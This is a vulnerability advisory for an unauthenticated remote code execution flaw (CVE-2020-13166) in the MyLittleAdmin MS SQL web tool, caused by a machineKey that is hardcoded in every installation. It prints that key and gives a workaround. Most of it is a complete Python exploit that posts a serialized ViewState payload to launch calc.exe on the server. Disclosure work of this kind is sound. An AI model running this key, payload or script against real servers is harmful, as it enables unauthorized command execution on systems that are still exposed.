SSD Advisory – MyLittleAdmin PreAuth RCE

TL;DR


Find out how we managed to execute arbitrary commands on MyLittleAdmin management tool using unauthenticated RCE vulnerability. 


Vulnerability Summary


MyLittleAdmin is a web-based management tool specially designed for MS SQL Server. It fully works with MS SQL Server. While the product appears to be discontinued (no new releases since 2013) it is still being offered on the company web site as well as part of the optional installation of Plesk. Furthermore, there are numerous active installations present on the Internet. An unauthenticated RCE vulnerability in the product allows remote attackers to execute arbitrary commands within the context of the IIS application engine.


CVE


CVE-2020-13166


Credit


An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.


Affected Systems


MyLittleAdmin version 3.8, we suspect older versions are also affected but have no way to verify it.


Vendor Response


Numerous attempts to contact the vendor went unanswered, attempts to email sales@ and support@ as well as the twitter account apparently has not reached anyone as we have not received any response.


Workaround


The following workaround was provided to us by Tim Aplin from @Umbrellar:


Go into IIS > Machine Keys > Generate new Key > Apply
Run: IISreset


Vulnerability Details


MyLittleAdmin utilizes a hardcoded machineKey for all installations, this value is kept in the file: C:\Program Files (x86)\MyLittleAdmin\web.config


An attacker having this knowledge can then serialize objects that will be parsed by the ASP code used by the server as if it were MyLittleAdmin’s serialized object. This allow an attacker to execute commands on the remote server.


Vulnerable Key


The following is the hardcoded key used by MyLittleAdmin, by inserting its values to ysoserial.exe it is possible to create a payload that will execute a command of our choice:


<machineKey
validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2
C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33
E77E0628B17AA928039BF" decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" validation="SHA1" />


Demo



Have the skills to find similar vulnerabilities? We’re on the lookout for Server Management Tool researchers to submit their finding, receive very generous rewards and join our team. Click below for more information:



Exploit


The provided exploit code will connect to a remote server and send a payload that starts a calc.exe in the context of IIS Application Engine


#!/usr/bin/python3
import requests
import sys
import logging
from bs4 import BeautifulSoup
# These two lines enable debugging at httplib level (requests->urllib3->http.client)
# You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA.
# The only thing missing will be the response.body which is not logged.
try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client
http_client.HTTPConnection.debuglevel = 0
# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
print("Connecting to remote server and collecting ASP state and event values")
r = requests.get('http://10.0.0.38')
soup = BeautifulSoup(r.text, 'html.parser')
# print(soup.prettify())
__VIEWSTATEGENERATOR = ""
__EVENTVALIDATION = ""
ServerName = ""
for input in soup.find_all('input'):
  if input['id'] == '__VIEWSTATEGENERATOR':
    __VIEWSTATEGENERATOR = input['value']
  if input['id'] == '__EVENTVALIDATION':
    __EVENTVALIDATION = input['value']
  if input['name'] == 'fServerName$cControl':
    ServerName = input['value']
# print("__VIEWSTATEGENERATOR: {}\n__EVENTVALIDATION: {}\nServerName: {}".format(__VIEWSTATEGENERATOR, __EVENTVALIDATION, ServerName))
shellcode = "/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgvRWjvTrAIEiQyXFySADCN2ualb9g=="
payload = {
  '__VIEWSTATE' : shellcode,
  '__VIEWSTATEGENERATOR' : __VIEWSTATEGENERATOR,
  '__EVENTVALIDATION' : __EVENTVALIDATION,
  'fServerName$cControl' : ServerName,
  'txtDatabase' : '',
  'listAuthentication' : 'sql',
  'txtLogin' : '',
  'txtPassword' : '',
  'listProtocol' : '',
  'txtPacketSize' : '4096',
  'txtConnectionTimeOut' : '15',
  'txtExecutionTimeOut' : '0',
  'btnConnect': 'Connect'
}
headers = {
  'Content-Type': 'application/x-www-form-urlencoded',
  'Cookie': 'Skin=default; CultureName=en-US',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Origin': 'http://10.0.0.38',
  'Referer': 'http://10.0.0.38/',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
}
print("Sending shellcode request to server")
r = requests.post("http://10.0.0.38", data=payload, headers=headers)
if "An error occured." in r.text:
  print("Check Task Manager for win32calc.exe")
else:
  print("Failed to launch shellcode: {}".format(r.text))



?

Get in touch